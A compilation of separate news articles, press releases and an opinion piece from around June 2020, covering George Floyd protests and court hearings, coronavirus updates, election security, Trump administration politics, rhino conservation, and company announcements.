About OneShare Health: OneShare Health is an ACA-exempt, non-profit, Christian Health Care Sharing Ministry (HCSM) based in Irving, Texas, that facilitates the sharing of medical expenses among individuals and families who are united by a set of shared religious beliefs. Health care sharing ministries are not traditional health insurance and do not accept risk or make guarantees regarding payment of bills submitted by members.

For Media and Press Inquiries, Contact:

Buddy Combs

Chief Compliance Officer/General Counsel

OneShare Health

(682) 200-1599

Related Links

OneShare Health

Rett's Roost

SOURCE OneShare Health

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https://www.onesharehealth.com


What to Stream This Weekend: Films That Accurately Portray the Black Experience

Eye-Opening Docs and Movies That Show What Its Like to Be Black in America

The fight for racial equality must be heard. Amplify is our series devoted to elevating black voices and brands, spotlighting issues, and taking action.

After more than a week of unrest across the United States in the wake of George Floyd's death at the knee of a white cop, it's important to not lose sight of the long-standing outrage and centuries of force fueling these protests. To continue the momentum of understanding, compassion and self-growth, now is the time to listen to and learn from black voices, and reflect on how America does not stand indivisible with liberty and justice for all regardless of what our history textbooks might have had us believe.

RELATED: Here's What You Can Do to Help the Black Lives Matter Cause

These streaming documentaries, series and films act as a great stepping stone to understanding how we can all continue (or simply begin) to support and elevate the black community and strive toward racial equity. While some detail the true history of the black community alongside its leaders and activists, others are fictional stories meant to entertain as well as give perspective. What they all have in common, however, is that they all aim to shine a light on the spectrum of the true black experience in America.

When They See Us

This four-part miniseries from Ava DuVernay ("Selma") is based on the true story of the Central Park Five in late 1980s New York City. It depicts the five black teenage boys from Harlem who were falsely accused of the brutal rape of a female jogger, and ultimately explores the heartbreaking toll it all took on not only their lives, but their families' lives as well.

Don't forget to follow it up with the in-depth after-show discussion hosted by Oprah Winfrey in which DuVernay, the cast and the real-life exonerated men are interviewed.

Stream it on Netflix

Just Mercy

We believe in the power of story. #JustMercy is one resource we can offer to those who are interested in learning more about the systemic racism that plagues our society. For the month of June, #JustMercy will be available to rent for free on digital platforms in the US. @eji_org pic.twitter.com/3B2IHMNk7E  Just Mercy (@JustMercyFilm) June 2, 2020

For the entirety of June, Warner Bros. has made their 2019 drama "Just Mercy" available to rent for no extra cost with Amazon Prime or Vudu. Michael B. Jordan and Jamie Foxx star in the film based on the life and work of civil rights attorney Bryan Stevenson, shining an important light on the systemic racism in our society.

Stream it on Amazon Prime

13th

A reference to the slavery-abolishing 13th amendment to the United States Constitution, this thought-provoking, Oscar-nominated documentary from Ava DuVernay brings together scholars, civil rights activists and politicians to discuss and analyze the criminalization of black Americans and the prison boom across the country. Be sure to follow it up with Oprah Winfrey's sit-down special with DuVernay where they discuss the broken prison system and the historical cycles of oppression that foster racial inequality.

Stream it on Netflix

The Hate U Give

Based on the book of the same name, Amandla Stenberg takes on the role of Starr Carter as she attempts to strike a balance between the poor, mostly black neighborhood where she lives and the white prep school that she attends. However, her world is rocked to the core when she witnesses a trigger-happy cop fatally shoot her childhood best friend, and she must strive to find her voice and become a force for change.

Stream it on Hulu

Dear White People

Though the current situation of racial inequality is indeed dire, it's not all blatant violence and harsh injustices either. The scripted dramedy series "Dear White People" explores the daily microaggressions that a group of black students have to navigate while attending a predominantly white Ivy League college. Though observed through a more lighthearted and witty lens than most of the entries on this list, the series' stories play an important role in understanding how those seemingly small, everyday actions and words carry on the systemic racism that is ingrained in America's history.

It's had three 10-episode seasons so far, and another one on the way. You can also catch the movie of the same name that started it all on Amazon Prime.

Stream it on Netflix

I Am Not Your Negro

Based on James Baldwin's (If Beale Street Could Talk) unfinished book, "Remember This House," filmmaker Raoul Peck retells the story of black history from the Civil Rights movement all the way up to #BlackLivesMatter. Narrated by Samuel L. Jackson, the documentary digs deep into matters of equality, including black representation in Hollywood, and looks at the lives of a trio of assassinated leaders of the movement: Medgar Evers, Malcolm X and Martin Luther King Jr.

You can watch it with an Amazon Prime account, or for free on hoopla or Kanopy with your public library card or university login.

Stream it on Amazon Prime

Moonlight

This three-time Oscar-winning drama takes a look at the black experience through an LGBTQ lens. Based on Tarell Alvin McCraney's unpublished semi-autobiographical play "In Moonlight Black Boys Look Blue", it tells the story of Chiron from his upbringing in a poor Miami neighborhood through his journey of discovering how his black male identity intersects with his sexual identity as a gay man.

Stream it on Netflix

King in the Wilderness

The legacy of Dr. Martin Luther King Jr. and his fight for racial equality goes far, far deeper than the two speeches that we learned about in history class and the often out-of-context quotes shared on social media. This documentary paints a portrait of the last years of the activist's life as he faced criticism from all sides of the political spectrum, from the time of the Voting Rights Act of 1965 to his assassination in 1968.

Stream it on HBO

Free Resources Where You Can Learn More

The above suggestions are merely the tip of the iceberg when it comes to streaming content that accurately portrays the black experience in the United States. PBS has recently announced that they are making a ton of streaming content available this June to shine a light on race and racism in America. You can download the PBS app for free and stream documentaries including "The Talk - Race in America," "Black America Since MLK: And Still I Rise" and "The African Americans: Many Rivers to Cross."

The Criterion Channel also announced that it is allowing free access to select titles that capture the black experience, including many made by black filmmakers themselves. Films and documentaries such as Agnes Vardas Black Panthers and Julie Dash's "Daughters of the Dust" are among the titles now available without a subscription. Find the full curated collection on the Criterion Channels homepage.

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We can probably all agree that it makes sense to have a paper record to ensure the integrity of our elections. As President Trump said on March 6, 2018, its always good to have a paper back-up system of voting. Yet, the Brennan Center for Justice reported last August that about 16 million Americans will leave no paper record of their vote in the 2020 election.

That provides a gaping hole for a malevolent actor to electronically manipulate the vote tally with no means to confirm the actual results.

Even before the actual voting, malicious hackers could skew the election outcome by accessing state election computer systems to corrupt voter registration/eligibility files.

It is essential that the states have the incentive and resources to harden their election systems against penetration and that there be a means of checking the accuracy of electronic vote totals.

Although few bothered to read his report, Robert Mueller carefully described how Russia intervened in our 2016 presidential election in a sweeping and systematic fashion. The bipartisan Senate Intelligence Committee reported last July that Russians had targeted election systems in all 50 states in 2016. This April, the committee endorsed the intelligence communitys determination that the Russian intervention was designed to help Donald Trump.

On February 13, 2020, Admiral Joseph Maguire, acting director of national intelligence, revealed in a classified House briefing that Russia was intervening in the 2020 election to get Trump re-elected. The surprise would have been that Russia was not. Trump immediately replaced Maguire with an unqualified yes man.

Candidate Trump publicly invited Russia to intervene in the 2016 campaign on July 27 with his famous Russia, if youre listening plea. He was aware during the campaign that Russia was helping. In a meeting with the Russian foreign minister and ambassador on May 10, 2017, Trump said he was not concerned about Russias meddling in the election. Last year, Trump indicated he would accept re-election help from foreign governments.

Russias efforts to intervene in the 2020 election would be severely hampered if every vote was on, or backed up by, paper. If ballots were made available to voters across the country before the election, there would be time for people to learn of and correct any corruption of voter registration/eligibility files.

Vladimir Putin would obviously be displeased with a paper voting record and an opportunity for correction of corrupted files. A vote-by-mail election in the U.S. would frustrate his efforts for another election victory.

We do know that Trump and Putin have discussed the election issue, but Trump told the press on June 26 last year that what the two of them say in private was none of your business.

Mail-in voting has worked well in a number of states, both red and blue. It is clearly more secure from outside manipulation. There is virtually no election fraud. During a pandemic, which will be with us through the election, it can be an actual saver of lives. It would undoubtedly increase voter participation. Whats not to like about it?

It is unclear why Trump is so dead set against mail-in voting and why he and his Senate leader, Mitch McConnell (sometimes called Moscow Mitch), have strenuously opposed legislation to harden our election systems and ensure a proper paper trail for votes. However, just because Trumps position aligns once again with Putins, does not necessarily mean there is collusion, does it?

Jones is an Eden native and former Idaho Attorney General and former Idaho Supreme Court Chief Justice. His previous opinion work can be found at JJCommontater.com.

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President Donald Trump said Friday the US economy had largely made it through the coronavirus pandemic, as a top expert in France said the worst was over there and the EU looked to open its borders again.

The United States is by far the worst hit by the deadly disease, which has killed over 390,000 people and infected some 6.6 million globally since it first erupted in China last year.

As the US leader trumpeted his country's economic recovery, there was fresh news on the scientific front as a new trial out of the UK suggested that the controversial drug hydroxychloroquine -- which Trump has taken -- offered no benefit in treating COVID-19.

Spread of coronavirus. By Simon MALFATTO (AFP)

Scientists are scrambling for an effective treatment and vaccine for the disease as countries ease out of lockdowns to revive their ravaged economies, while avoiding a second wave of contagion.

Trump, who is eyeing re-election in November, has repeatedly urged US states to ease shut-in measures -- often against the counsel of medical experts -- as he seeks to kickstart the economy, with tens of millions of jobs already wiped out.

On Friday he offered some optimism on the economic front after fresh employment data showed the country gained 2.5 million jobs in May as lockdowns eased.

US President Donald Trump has urged states to ease lockdown to get the economy moving again. By Alex Edelman (AFP)

"We had the greatest economy in the history of the world. And that strength let us get through this horrible pandemic, largely through, I think we're doing really well," Trump told reporters, reiterating calls to further lift restrictions.

"We want the continued blanket lockdown to end for these states."

More than 108,000 people have died in the US, where infections are above 1.8 million, and there are fears ongoing protests in the country over racism and police brutality could fuel the spread of the virus.

Drug controversy

As leaders look allow people to return to public life again, debate swirled on the scientific front about whether the controversial hydroxychloroquine drug should be used to treat COVID-19.

President Donald Trump said the US economy was "largely through" the pandemic. By Mandel NGAN (AFP)

The latest major study out of Britain's Oxford University said the drug showed "no beneficial effect" in treating the illness, after much to and fro in the scientific community about its effectiveness.

The World Health Organization said this week it was restarting trials of the drug after they were temporarily halted because of a now-retracted study in The Lancet medical journal warning of harmful side effects.

Trump said he took a course of the drug last month as a preventative measure against coronavirus, while in Brazil -- which now has the world's third highest death toll -- officials have also encouraged it as a treatment.

EU to reopen

In Europe, badly-hit countries slowly continued on a path toward a post-pandemic normal, many eager to revive key tourist sectors in time for the summer season.

The EU said it could reopen borders to travellers from outside the region in early July, after some countries within the bloc made the decision to open frontiers to European visitors.

"We should consider the gradual lifting restrictions on non-essential travel to the EU early July," said Ylva Johansson, the EU's home affairs commissioner.

A UK trial found that using hydroxychloroquine to treat COVID-19 was not beneficial. By GEORGE FREY (AFP/File)

Switzerland said it would be open for travellers from the EU and Britain on June 15, after Italy opened its borders to European visitors this week and Austria scrapped entry checks at its borders -- except for the one with hard-hit Italy.

France also had positive news, with a top immunologist saying the outbreak had abated as daily deaths and new cases had fallen far below their March peaks.

"We can reasonably say the virus is currently under control," said Jean-Francois Delfraissy, the head of the government's scientific advisory council.

Rumors swirl in Haiti

But as Europe eyed life after the pandemic, bleak numbers streamed in from Latin America, the new virus epicenter.

Brazil reported a new 24-hour record death toll bringing its total to more than 34,000, the third highest in the world after the United States and Britain, where more than 40,000 have died.

Brazil now has the third highest death toll in the world after the US and Britain. By Tarso SARRAF (AFP)

Like Trump, far-right President Jair Bolsonaro has fiercely criticized coronavirus stay-at-home measures, arguing that they are needlessly hurting the economy.

Brazil is the hardest-hit country in Latin America, though the tolls are also rising sharply in Mexico, Peru, Ecuador and Chile.

Mexico reported a record number of new infections for the second straight day, with 4,442.

And in Peru, desperate residents lined up to buy oxygen tanks for their loved ones, as the government declared oxygen a "strategic health resource" amid an acute shortage.

Impoverished Haiti, with its fragile health system, is also seeing worrying trends as infections and deaths rise in the face of swirling rumors and disinformation about the severity of the disease.

When 25-year-old Jonel Cadet tested positive, he said: "I didn't believe it, and I even said the president was talking nonsense.

"It was only by coming here that I really started to believe, because I saw people who were much worse off," he told AFP from a hospital in Cite Soleil.

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By Siyabonga Sishi and Tim Cocks

PILANESBURG, South Africa (Reuters) - South Africa has dehorned dozens of rhinos in three popular game parks, aiming to prevent armed poachers taking advantage of the post-COVID-19 crash in tourism to kill them for their horns.

The exercise in Pilanesburg National Park and the Mafikeng and Botsalano game reserves -- all northwest of Johannesburg -- leaves the rhinos with horn rumps too small for poachers to bother with, Nico Jacobs, helicopter pilot and founding member of non-profit Rhino 911 told Reuters.

As Jacobs flew a helicopter over Pilanesburg last month with Reuters journalists, they spotted a lioness eating the carcass of a rhino that had been poached days earlier. Experts fear the absence of tourists may already have spurred a poaching spike.

They proceeded to a spot where they tranquilised a female rhino before removing her horn with an electric saw. One of her calves had to be restrained.

Working with authorities, they began dehorning three years ago. Jacobs said they had since seen a drop in poaching. The numbers of rhinos in the parks, and how many have been poached, are kept secret to protect them.

"I've seen so many slaughtered, butchered rhinos. What is the solution?" he said. "For them (poachers) to come when there's lions, elephants ... It's too much risk for that little piece," he said.

As the world marks World Environment Day on Friday, the threat from humans to other species' survival -- and ultimately our own -- is a growing concern to conservationists.

On Monday, scientists published a study showing that humans are causing mass extinction on a scale unseen since a meteor wiped out the land dinosaurs 65 million years ago, the sixth large-scale extinction in Earth's history.

Rhinos have been around for 30 million years, but decades of hunting and habitat loss have reduced their numbers to about 27,000 today, according to the International Rhino Foundation. A poaching surge has wiped out thousands in the past three years.

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"In order to ... give the population a chance to grow again, we need to relieve the pressure on them ... (by) dehorning," Pieter Nel, acting head of conservation of the North West Parks board, said.

Rhino horn sells for $60,000 a kilogram, more than cocaine or gold. In East Asia, it is used in medicinal potions, despite containing the same key component as human fingernails.

Dehorning is controversial, especially as it makes male rhinos vulnerable in fights. But they are not essential for survival, and, like fingernails, they grow back.

(Editing by Mike Collett-White)
On Friday morning, more than two dozen florists decorated the Rotary Trail sign with thousands of flowers to create a big bouquet to the city of Birmingham.

Thousands of stems and foliage now adorn the Rotary Trail sign at First Avenue South and 20th Street South.

Flowers help to heal the soul. People send them when theyre sad, when theyre happy, when theyre celebrating, when theyre grieving. This is like sending a big flower arrangement to our city for whatever it is people are grappling with right now, said Carolyn Chen, owner of Wild Things in Homewood.

Chen first envisioned the arrangement and sent some messages to local florists.

I was having a tough week as most of our community was. I was grappling with thinking what can I do? My gift is that Im good with flowers. I knew lots of other florists were feeling same way. An Instagram message turned into a huge team and someone bringing a scissor lift," Chen said.

In total, Chen said at least 30 florists from around central Alabama participated.

We started this week on a dark note and wanted to end it on a bright note. We wanted to give people something to smile about, Nortons Florist Owner Cameron Pappas, who also participated in the effort.

Finally a little video I tried to go all the way around and get everything! Posted by Adam Gilliland on Friday, June 5, 2020

Local flower wholesalers donated flowers and foliage to support the effort. Florists started working at 7 a.m. and completed it about 11 a.m.

Adam Gilliland of Hot House Design Studio said he hopes the display gives people hope.

This is our city, and its a beautiful city. We hope it pulls people together to see the bright future we have, Gilliand said. Flowers are something that brings a little bit of joy to someone. Ive never given flowers to someone and it not bring a smile and bring relief. Flowers bring beauty and hope.
At least one spent canister reporters recovered from the streets outside the park Monday was labeled Skat Shell OC. The OC stands for oleoresin capsicum, an oily substance derived from chile peppers that is often used in topical ointments and heat creams for arthritis relief and muscle pain. When it gets into the eyes, noses and lungs, however, it triggers searing pain, coughing, sneezing and mucus secretion.
Photo: The Canadian Press Defence attorney Earl Gray, center, talks to reporters, Thursday, in Minneapolis.

Two of three Minneapolis police officers accused of aiding and abetting in the death of George Floyd were rookies barely off probation when a more senior white officer ignored the black man's cries for help and pressed a knee into his neck, defence attorneys said Thursday.

Earl Gray said his client, former Officer Thomas Lane, had no choice but to follow the instructions of Derek Chauvin, who has since been charged with second-degree murder in Floyd's May 25 death. Gray called the case against his client extremely weak.

A judge set bail at $750,000 apiece for Lane, J. Kueng and Tou Thao, when they made their first appearances in Hennepin County District Court Thursday. Simultaneously, and just blocks away , celebrities, friends and relatives gathered to memorialize Floyd at a Bible college.

The Minneapolis Police Department fired all four officers last week and charged Chauvin  initially with third-degree murder  the following day. But protests that began on the streets of Minneapolis quickly spread across the nation, calling for justice for Floyd and other African Americans who were killed by police.

On Wednesday, the three other officers were charged with aiding and abetting second-degree murder. If convicted, they potentially face the same penalty as Chauvin: up to 40 years in prison.

Gray said Thursday that all Lane did was hold Floyds feet so he couldn't kick, and he underlined that the criminal complaint says Lane asked Chauvin twice if they should roll Floyd over and expressed concern that Floyd might be in delirium. He said Lane performed CPR in the ambulance.

What was my client supposed to do but follow what his training officer said? Is that aiding and abetting a crime? Gray asked.

Gray and Kuengs defence attorney, Tom Plunkett, asked the court for lower bail, saying their clients had been police officers for just four days when Floyd was killed. Police records indicate that while the men were rookies, they had more experience than a handful of days on the force. According to their records, they joined the department in February 2019 and became full officers in December. Minneapolis officers must serve a year on probation and spend time in field training with a more senior officer before they are fully qualified.

Kueng, who is black, became a police officer because he wanted to make his community a better place, Plunkett said. He said Kueng was raised by his single mother on Minneapolis predominantly black north side.

Plunkett and Thao's attorney, Robert Paule, did not address the merits of the charges in court and declined to comment after the hearing out of respect for Floyd's family during the memorial.

The complaint against Lane, 37, notes that while he suggested to Chauvin that Floyd should be rolled over he "took no actions to assist Mr. Floyd, to change his position, or to reduce the force the officers were using against Mr. Floyd.

Kueng's complaint says the 26-year-old was positioned between Chauvin and Lane and could hear their comments. Thao, 34, was seen in the cellphone video standing near a crowd of bystanders, and his complaint says although he fetched a hobble restraint  designed to restrict the movement of a person in custody  from the squad car, the officers decided not to use it and maintained their positions.
It's been a good week for Vodafone Group Plc (LON:VOD) shareholders, because the company has just released its latest full-year results, and the shares gained 2.3% to UK1.37. It looks like the results were pretty good overall. While revenues of 45b were in line with analyst predictions, statutory losses were much smaller than expected, with Vodafone Group losing 0.031 per share. Following the result, the analysts have updated their earnings model, and it would be good to know whether they think there's been a strong change in the company's prospects, or if it's business as usual. We thought readers would find it interesting to see the analysts latest (statutory) post-earnings forecasts for next year.

See our latest analysis for Vodafone Group

LSE:VOD Past and Future Earnings June 5th 2020

Following the recent earnings report, the consensus from 18 analysts covering Vodafone Group is for revenues of 43.9b in 2021, implying a measurable 2.3% decline in sales compared to the last 12 months. Earnings are expected to improve, with Vodafone Group forecast to report a statutory profit of 0.075 per share. Before this earnings report, the analysts had been forecasting revenues of 43.9b and earnings per share (EPS) of 0.077 in 2021. The analysts seem to have become a little more negative on the business after the latest results, given the minor downgrade to their earnings per share numbers for next year.

It might be a surprise to learn that the consensus price target was broadly unchanged at 1.92, with the analysts clearly implying that the forecast decline in earnings is not expected to have much of an impact on valuation. There's another way to think about price targets though, and that's to look at the range of price targets put forward by analysts, because a wide range of estimates could suggest a diverse view on possible outcomes for the business. Currently, the most bullish analyst values Vodafone Group at 2.19 per share, while the most bearish prices it at 0.68. This is a fairly broad spread of estimates, suggesting that analysts are forecasting a wide range of possible outcomes for the business.

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One way to get more context on these forecasts is to look at how they compare to both past performance, and how other companies in the same industry are performing. One thing that stands out from these estimates is that shrinking revenues are expected to moderate from the historical decline of 4.3% per annum over the past five years.

The Bottom Line

The most important thing to take away is that the analysts downgraded their earnings per share estimates, showing that there has been a clear decline in sentiment following these results. On the plus side, there were no major changes to revenue estimates; although forecasts imply revenues will perform worse than the wider industry. The consensus price target held steady at 1.92, with the latest estimates not enough to have an impact on their price targets.

With that in mind, we wouldn't be too quick to come to a conclusion on Vodafone Group. Long-term earnings power is much more important than next year's profits. We have forecasts for Vodafone Group going out to 2025, and you can see them free on our platform here.

Before you take the next step you should know about the 3 warning signs for Vodafone Group (1 can't be ignored!) that we have uncovered.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
By PTI

MUMBAI: The country's biggest container handling port, Jawaharlal Nehru Port Trust (JNPT), has converted its multi-skill training centre at Bokadvira in the state into 120-bed hospital for treating people infected with coronavirus.

The training centre has been temporarily handed over, along with an ambulance, to the local authorities, a release said on Friday.

The move is part of the several initiatives taken by the port authorities in its fight against the pandemic amid rising numbers of cases in the country, it said.

"JNPT is very conscious of its role and responsibility towards the extended JNPT family and is committed towards them.

By handing over our training centre as Covid Care Centre to the state authorities, we are trying to increase the preparedness of the local community in fighting this pandemic," JNPT Chairman Sanjay Sethi said.

JNPT has been carrying out extensive community disinfectant spraying and sanitation drive in all its nearby villages and has also handed over infra-red temperature guns to the sarpanchs of these villages as preventive measure, the release said.

The port at Navi Mumbai accounts for around 52 per cent of the total containerised cargo volume among the major ports in the country, and has been operational all through the lockdown period as part of essential services.
President Donald Trump is unhappy with Pentagon chief Mark Esper. Aides are gossiping about who could replace him. Yet the embattled Defense secretary may be on his way to a more Trumpian punishment: sidelined within the administration.

Espers future is in question after he opposed Trump on Wednesday over the presidents call to deploy active-duty troops to quash protests taking part throughout the U.S. In the 24 hours since Esper spoke out, he has met with the president at the White House and has received tepid-at-best endorsements from Trumps team.

But instead of being shown an early exit, one person in the administration said, Esper could just face an icing out. Its a fate that has befallen numerous aides and Cabinet secretaries who cross Trump, from former Attorney General Jeff Sessions, to Secretary of State Rex Tillerson, to national security advisers H.R. McMaster and John Bolton, to every former chief of staff. Weeks or months before each aide actually departed the administration, Trump simply cut them out of key decisions after growing frustrated with them.

Sidelining advisers who disagree with him is Trumps M.O. said Guy Snodgrass, who was chief speechwriter for former Defense Secretary Jim Mattis. It sometimes happens just because President Trump wants that individual to feel that thats an untenable position and they should depart on their own as opposed to him firing them.

The White House has notably not jumped to Espers defense in the past day. When asked on Thursday whether Trump had lost confidence in the Defense secretary, White House deputy press secretary Hogan Gidley was noncommittal.

As you know, when the president loses confidence  if he loses confidence  youll know that, Gidley said.

It was the second time in as many days that a White House spokesperson declined to go to bat for Esper. When asked by reporters on Wednesday if Trump still had confidence in his Pentagon chief, White House press secretary Kayleigh McEnany said, As of right now, Secretary Esper is still Secretary Esper. And should the president lose faith, we will all learn about that in the future.

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The White House offered no further comment.

Esper may not be on his way out the door just yet, but the reasons are largely logistical. The election is only five months away, so its unlikely the administration wants to try to push a new Cabinet nominee through the Senate. Meanwhile, the optics of firing the Defense secretary amid the dual crises of a public health emergency and nationwide civil unrest are not ideal.

However, an administration official and two people close to the White House say staffers in recent days have pulled together a list of possible candidates for Defense secretary if Trump does choose to fire Esper. At the top of that list is Army Secretary Ryan McCarthy, who was Espers No. 2 before taking the Army job last summer, the people said. Sen. Tom Cotton (R-Ark.), an outspoken Trump ally who has previously been considered for the position, is also in the mix, according to one of the people.

Espers supporters are not going down without a fight. Two people who have known Esper since his time at West Point  David Urban, a former senior adviser to Trumps 2016 campaign, and Secretary of State Mike Pompeo  have urged the president to keep their former classmate at the helm of the Pentagon, according to two people close to the White House. Republican senators, too, have appealed to Trump not to fire the Defense chief.

Hes doing a good job, said Sen. Lindsey Graham (R-S.C.), who spoke to the president recently and doesnt think Espers job is on the line. Theres no reason to let him go. Thats all just a bunch of chatter. I have confidence in Secretary Esper.

In this May 5, 2020, file photo Sen. Tom Cotton, R-Ark., speaks during a Senate Intelligence Committee nomination hearing for Rep. John Ratcliffe, R-Texas, on Capitol Hill in Washington. Cotton wrote in a New York Times op-ed Tuesday, June 2, that local law enforcement needs the backup of active-duty military forces to tamp down unrest in the U.S. (AP Photo/Andrew Harnik, Pool, File)

Senate Majority Leader Mitch McConnell on Thursday gave Esper a boost on the presidents favorite platform, Twitter, praising his dedicated work and steadfast commitment to their constitutional duties to preserve peace and order, uphold liberty, and protect the American people so they can freely exercise their rights.

Republicans on the Hill also fear the political headache of trying to rush a high-profile Defense Department nominee through the Senate in a fraught political moment and a heated election.

One administration official and another person close to the White House said McCarthy could be next in line if Esper does flame out. McCarthy is another member of the so-called Army mafia that has risen to power during Trumps tenure, along with Urban, Pompeo, Esper, Joint Chiefs Chairman Gen. Mark Milley and Army chief of staff Gen. James McConville.

McCarthy is not only well-connected in Washington but is also a former Army Ranger  he served in the 75th Ranger Regiment during the invasion of Afghanistan. He later served in the Pentagon as special assistant to former Defense Secretary Bob Gates. McCarthy also worked on what is now the House Foreign Affairs Committee, and as a vice president at defense contractor Lockheed Martin.

As Army secretary, McCarthy spearheaded a campaign to modernize the force and efforts to meet recruiting goals. In the last few months, he has been one of the faces of the Pentagons Covid-19 response, appearing multiple times in the Pentagon briefing room to discuss changes to Army training, testing on Army facilities and Army researchers efforts to develop a vaccine.

Meanwhile, Cotton drew a sharp contrast with Esper on Wednesday after the Defense secretary declared his opposition to deploying active-duty military units to deal with protesters. Cotton made a splash on Wednesday with an op-ed in The New York Times calling on the president to invoke the Insurrection Act to call in troops.

A Harvard-educated attorney and former Army captain with deployments to Iraq and Afghanistan, Cotton is close to Trump and an outspoken Republican hawk who has been a consistent hardliner on Iran and China. But Cotton is running unopposed for reelection in November, and has an influential voice in the Senate. Its considered unlikely he would take a Cabinet position and give up his seat so close to the election.

Even as one of the youngest senators on Capitol Hill, Cottons military experience and trust of the president has repeatedly put him in the running for top positions in Trumps administration. A person close to Cotton told POLITICO hes focused on running for reelection this fall and he would only consider serving in Trumps Cabinet in a potential second term.

When asked about the Insurrection Act and chatter in Washington that Esper might be out of a job, Cotton would only comment that the use of the law is up to the president.

Ultimately thats not a decision for the secretary of Defense to make, its not a decision for a senator to make, it is a decision for the president to make, Cotton said on Fox News.

As always, Trump could change his mind at any minute. But at least two White House aides believe that Esper, while on shaky ground, will likely keep his job for now.

I dont think any change is going to happen unless Esper opens his mouth up again [before] the election, said a Republican close to the White House. But the person noted that Trump didnt like Espers comments on Wednesday.

He doesnt want to send troops, the person said of Trump. This is a classic Trump negotiating thing and he just wants to threaten these governors and mayors. He doesnt want somebody undercutting his negotiating position. Thats his problem with Esper.

A former senior White House official compared Espers situation to what happened in February when Attorney General William Barr publicly urged Trump to stop tweeting about the Justice Department, saying it made his job impossible.

In Espers case, [his point was] this is not legal, the former official said. If everything stays hunky dory for the next week and nothing happens, Esper will be fine.


LEAMINGTON, ON, June 5, 2020 /PRNewswire/ - Aphria Inc. ("Aphria" or the "Company") (TSX: APHA) (NYSE: APHA), a leading global cannabis company, today announced management will present at the Stifel 2020 Virtual Cross Sector Insight Conference on Monday, June 8, 2020 at 9:20 a.m. ET.

There will be a simultaneous, live webcast available on the Investors section of Aphria's website. The webcast will be archived for 30 days.

We Have A Good Thing Growing

About Aphria

Aphria Inc. is a leading global cannabis company driven by an unrelenting commitment to our people, the planet, product quality and innovation. Headquartered in Leamington, Ontario  the greenhouse capital of Canada  Aphria Inc. has been setting the standard for the low-cost production of high-quality cannabis at scale, grown in the most natural conditions possible. Focusing on untapped opportunities and backed by the latest technologies, Aphria Inc. is committed to bringing breakthrough innovation to the global cannabis market. The Company's portfolio of brands is grounded in expertly-researched consumer insights designed to meet the needs of every consumer segment. Rooted in our founders' multi-generational expertise in commercial agriculture, Aphria Inc. drives sustainable long-term shareholder value through a diversified approach to innovation, strategic partnerships and global expansion.

For more information, visit: aphriainc.com

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President Donald Trump reacts angrily to a question asking what he would say to Americans who are scared during his administration's daily coronavirus task force briefing at the White House in Washington, March 20, 2020.

Jonathan Ernst/Reuters

Donald Trump's campaign issued a statement that accused Snapchat of "illegally using their corporate funding" to "rig the 2020 election," after the company announced it would no longer promote Trump's account in its Discover section.

"We will not amplify voices who incite racial violence and injustice by giving them free promotion," a Snap spokesperson said about the decision to remove Trump's account from Discover.

Trump's campaign did not explain how the company's action against the president's account could have broken the law.

Visit Business Insider's homepage for more stories.

President Donald Trump's campaign issued a statement accusing Snapchat of "illegally using their corporate funding" to promote Joe Biden and rig the 2020 presidential election, after the social network announced it would stop promoting Trump's account.

In the statement, Trump's 2020 campaign manager, Brad Parscale, called Evan Spiegel the "radical Snapchat CEO" who would rather "promote extreme left riot videos and encourage their users to destroy America."

But the statement stopped short of any specifics on how Snapchat had acted illegally. It also did not elaborate on the "corporate funding" that the company was accused of using to supposedly promote Biden. The comment is especially strange given Snapchat is a public company.

Earlier today, Snapchat parent company Snap Inc. announced it would no longer promote Donald Trump's account in the Discover section of its app. However, Snap is not removing the account itself.

"We will not amplify voices who incite racial violence and injustice by giving them free promotion on Discover," a Snap Inc. spokesperson told Business Insider. "Racial violence and injustice have no place in our society and we stand together with all who seek peace, love, equality, and justice in America."

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Joe Biden then posted a Snapchat video in response to the news, where he said, "I'm proud to be able to run for president and still be on Snapchat."

The move also puts more pressure on Facebook CEO Mark Zuckerberg, who is refusing to budge on his policy of not taking action on Donald Trump's posts, specifically a recent one containing the phrase "when the looting starts, the shooting starts," which Twitter flagged with a warning.

Read the statement from the Trump campaign in full:

"Snapchat is trying to rig the 2020 election, illegally using their corporate funding to promote Joe Biden and suppress President Trump. Radical Snapchat CEO Evan Spiegel would rather promote extreme left riot videos and encourage their users to destroy America than share the positive words of unity, justice, and law and order from our President.

Snapchat hates that so many of their users watch the President content and so they are actively engaging in voter suppression. If you're a conservative, they do not want to hear from you, they do not want you to vote. They view you as a deplorable and they do not want you to exist on their platform."

Read the original article on Business Insider
Malaga province moves into Phase Three of coronavirus lockdown easing along with the rest of Andalucia on Monday.

The Health Minister announced on Friday that all of the regions that had requested a move would be proceeding to the next phase in the staged plan towards Spain's "new normal".

While the provinces of Malaga and Granada were only promoted to Phase Two of lockdown easing this week, the regional government had called for Madrid to allow all eight Andalusian provinces to progress to Phase Three this coming Monday 8 June.

It was important to avoid a two-speed Andalucia, it argued.

Phase Three relaxes the Covid-19 state of alarm restrictions even further.

Personal movement. All time slots for outdoor exercise will be removed. Gatherings permitted up to 20 people. Movement allowed within region of Andalucia .

Bars, cafeterias and restaurants. Interiors to 50% capacity. Bar service at two-metre intervals. Terraces to 75%.

Shops and services. To 50% capacity including in shopping centres. Probably gyms as well. Communal and recreational areas in shopping centres to 40% capacity

Culture. Museums, libraries, theatre, cinemas, etc to 50%

Home working. Still encouraged where possible
Although his workday starts at sunrise, Josue does not need to set an alarm. The raucous shrieks and calls of the forest dawn chorus are more than enough to rouse the 19-year-old, a newly minted ranger now working in one of the most biodiverse spots on earth, Guatemalas El Mirador National Park.

For Josue, an asylum-seeker who fled one of Honduras most dangerous cities, the new job as a ranger is nothing short of a dream come true.

When I was little, I used to watch nature shows on TV. They were my favourite. This job is like being in the middle of one of those shows, said Josue, who was forced to flee Honduras at age 16, after he rebuffed the attempts of a gang to recruit him and they retaliated with a brutal attack that could easily have killed him. I always dreamed of such a job.

Josue is among nine asylum-seekers and refugees hired and trained to work as rangers in Guatemalas national park system. It includes tropical forests in the north-eastern Peten region that make up the largest protected area in Central America, and three UNESCO-recognized biosphere reserves, as well as spectacular Mayan ruins.

When I was little, I used to watch nature shows on TV ... This job is like being in the middle of one.

